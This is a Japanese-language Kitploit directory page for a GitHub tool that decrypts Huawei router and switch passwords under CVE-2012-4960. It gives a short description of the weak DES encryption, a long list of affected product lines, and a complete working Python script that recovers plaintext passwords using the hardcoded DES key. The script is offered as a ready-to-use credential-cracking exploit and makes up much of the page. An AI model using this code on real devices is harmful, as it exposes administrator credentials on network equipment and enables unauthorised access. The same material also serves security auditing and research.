Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Decrypt-passwords-for-Huawei-routers-and-switches-CVE-2012-4960 — Huaweiパスワードを復号するコード CVE-2012-4960 | Kitploit
ツール/GitHubGitHub/ghcohu/decrypt-passwords-for-huawei-routers-and-switches-cve-2012-4960
パスワードクラッキング暗号化/復号化ツール脆弱性分析エクスプロイト暗号化
GitHubghcohu/decrypt-passwords-for-huawei-routers-and-switches-cve-2012-4960

Decrypt-passwords-for-Huawei-routers-and-switches-CVE-2012-4960

Huaweiパスワードを復号するコード CVE-2012-4960

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
11年前未レビュー

Huaweiルーターおよびスイッチのパスワード復号/CVE-2012-4960

複数のHuawei製品では、パスワードにDES暗号化アルゴリズムが使用されており、その暗号化は十分強力ではないため、解読される可能性があります。

この脆弱性には、Common Vulnerabilities and Exposures (CVE) ID: CVE-2012-4960 が割り当てられています。

要件

  • python のインストール
    • pycryptodome のインストール

現在までに判明している影響を受ける製品/CVE-2012-4960

  • CX200/CX300
  • CX600
  • NE5000E
  • MA5200G
  • NE40E/80E
  • ATN
  • NE40/NE80
  • NE20E-X6
  • NE20
  • ME60
  • ACU
  • WLAN AC 6605
  • S9300
  • S7700
  • S2300/S3300/S5300
  • S2300/S3300/S5300/S2700/S3 700/S5700
  • S2300/S3300/S5300/S3300HI/ S5300HI/S5306/S6300/S2700/ S3700/S5700/S6700
  • AR G3
  • H3C AR(OEM IN)
  • AR 19/29/49
  • Eudemon100E
  • Eudemon200
  • Eudemon300&500&1000
  • Eudemon1000E-U/USG5300
  • Eudemon1000E-X/USG5500
  • Eudemon8080E&8160E/USG9300
  • Eudemon8000E-X/USG9500
  • E200E-C&X3&X5&X7/USG2200&5100
  • E200E-B&X1&X2/USG2100
  • SVN5300
  • SVN2000&5000 series
  • SVN3000
  • NIP100/200/1000
  • NIP2100&2200&5100

その他

  • S3500

このコードの性能は以下でテストおよび検証されています

  • Huawei CX200
  • Huawei S3500

コード

root@kitploit:~

from Crypto.Cipher import DES
import binascii

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y & 0xff)
        out[j+1] = chr((y>>8) & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):

    r = ascii_to_binary(p)
    r = r[:16]

    d = DES.new(b"\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    
    r_bytes = r.encode('latin-1')
    r = d.decrypt(r_bytes)
       
    return r.rstrip(b"\x00").decode('latin-1')


#the encrypted key must be 24 characters long

int = r"""Please insert the encrypted password here and respect the triple " on each side"""


print(decrypt_password(int))

ツールをダウンロード